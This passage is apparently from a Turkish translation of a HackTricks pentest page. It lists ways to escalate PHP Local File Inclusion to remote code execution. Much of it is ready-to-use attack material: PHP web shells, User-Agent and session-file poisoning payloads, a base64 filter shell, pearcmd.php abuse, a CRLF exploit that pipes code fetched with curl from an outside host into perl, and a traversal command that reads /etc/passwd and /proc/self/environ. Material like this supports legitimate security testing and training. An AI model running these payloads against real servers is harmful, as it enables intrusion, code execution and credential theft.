Log dosyası gibi, payload’u User-Agent içinde gönderin; bu /proc/self/environ dosyasında yansıyacaktır.

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

Eğer bir dosya upload edebiliyorsanız, içine shell payload’u inject edin (ör. : <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Dosyanın okunabilirliğini korumak için resimlerin, doc ve pdf dosyalarının meta verilerine enjekte etmek en iyisidir

Via Zip fie upload

PHP shell içeren sıkıştırılmış bir ZIP dosyası yükleyin ve erişin:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

PHP sessions aracılığıyla

Web sitesinin PHP Session (PHPSESSID) kullanıp kullanmadığını kontrol edin.

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHP’de bu sessions /var/lib/php5/sess\[PHPSESSID]_ dosyalarına kaydedilir.

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Cookie’yi <?php system('cat /etc/passwd');?> olarak ayarla

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

LFI’yi kullanarak PHP session dosyasını include edin

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

ssh ile

ssh aktifse hangi kullanıcının kullanıldığını kontrol edin (/proc/self/status & /etc/passwd) ve <HOME>/.ssh/id_rsa dosyasına erişmeyi deneyin.

İle vsftpd logları

FTP sunucusu vsftpd’nin logları /var/log/vsftpd.log konumundadır. Bir Local File Inclusion (LFI) zafiyeti mevcutsa ve erişime açık bir vsftpd sunucusuna erişilebiliyorsa, aşağıdaki adımlar değerlendirilebilir:

  1. Giriş işlemi sırasında username alanına bir PHP payload’u enjekte edin.
  2. Enjeksiyondan sonra, LFI’yi kullanarak sunucu loglarını /var/log/vsftpd.log dosyasından alın.

php base64 filtresi ile (base64 kullanarak)

As shown in this article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with “.php”, and it would just ignore the “.” and append “php” to the base64. İşte bir örnek payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

php filters ile (dosya gerekmez)

This writeup php filters kullanarak çıktı olarak rastgele içerik üretebileceğinizi açıklar. Bu temelde include için rastgele php code üretebileceğiniz, bunu bir dosyaya yazmaya gerek kalmadan yapabileceğiniz anlamına gelir.

LFI2RCE via PHP Filters

segmentation fault ile

Yükleyin /tmp içinde temporary olarak saklanacak bir dosya, sonra aynı istekte bir segmentation fault tetikleyin; bu durumda geçici dosya silinmeyecek ve onu arayabilirsiniz.

LFI2RCE via Segmentation Fault

Nginx temp file storage ile

Eğer bir Local File Inclusion bulduysanız ve Nginx PHP’nin önünde çalışıyorsa, aşağıdaki teknikle RCE elde edebilirsiniz:

LFI2RCE via Nginx temp files

PHP_SESSION_UPLOAD_PROGRESS ile

Eğer bir Local File Inclusion bulduysanız, hatta session’ınız olmasa bile ve session.auto_start Off ise: PHP_SESSION_UPLOAD_PROGRESS’i multipart POST verisinde sağlarsanız, PHP oturumu sizin için etkinleştirecektir. Bunu RCE elde etmek için kötüye kullanabilirsiniz:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Windows’ta geçici dosya yüklemeleri ile

Eğer bir Local File Inclusion bulduysanız ve sunucu Windows üzerinde çalışıyorsa, RCE elde edebilirsiniz:

LFI2RCE Via temp file uploads

pearcmd.php + URL args ile

As explained in this post, script /usr/local/lib/phppearcmd.php php docker imajlarında varsayılan olarak bulunur. Ayrıca, eğer bir URL parametresi = içermiyorsa argüman olarak kullanılacağı belirtildiği için script’e URL üzerinden argüman geçirmek mümkündür. Bkz. ayrıca watchTowr’s write-up ve Orange Tsai’s “Confusion Attacks”.

Aşağıdaki istek, içeriği <?=phpinfo()?> olan /tmp/hello.php dosyasını oluşturur:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Aşağıdakiler, RCE elde etmek için bir CRLF vuln’ünü istismar eder (kaynak: here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

phpinfo() aracılığıyla (file_uploads = on)

Eğer bir Local File Inclusion bulduysanız ve phpinfo() çıktısı veren bir dosya file_uploads = on ise RCE elde edebilirsiniz:

LFI2RCE via phpinfo()

compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure aracılığıyla

Eğer bir Local File Inclusion bulduysanız ve geçici dosyanın yolunu exfiltrate edebiliyorsanız AMA server dahil edilecek dosyanın PHP işaretleri olup olmadığını kontrol ediyorsa, bu kontrolü bir Race Condition ile atlatmayı deneyebilirsiniz:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

eternal waiting + bruteforce ile

Eğer LFI’yi suistimal edip geçici dosyaları upload edebiliyor ve server’ın PHP yürütmesini hang edecek şekilde yapabiliyorsanız, geçici dosyayı bulmak için saatler boyunca dosya adlarını brute force edebilirsiniz:

LFI2RCE via Eternal waiting

Fatal Error’a

Eğer /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar dosyalarından herhangi birini include ederseniz. (O hatayı fırlatmak için aynı dosyayı 2 kez include etmeniz gerekir).

Bunun nasıl faydalı olduğunu bilmiyorum ama faydalı olabilir.
PHP Fatal Error’a neden olsanız bile, yüklenen PHP geçici dosyaları silinir.

İstemciden traversal dizilerini koruyun

Bazı HTTP istemcileri, istek sunucuya ulaşmadan önce ../ öğelerini normalize eder veya çökertir, bu da directory traversal payload’larını bozar. Log/download endpoint’larında kullanıcı kontrollü bir dosya adını birleştiren noktalarda traversal’ı olduğu gibi tutmak için curl --path-as-is kullanın; ayrıca /proc gibi pseudo-files için --ignore-content-length ekleyin:

curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'

Amaçlanan dizinden kaçana kadar ../ segmentlerinin sayısını ayarlayın, sonra dump /etc/passwd, /proc/self/cwd/app.py, veya diğer source/config dosyalarını.

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin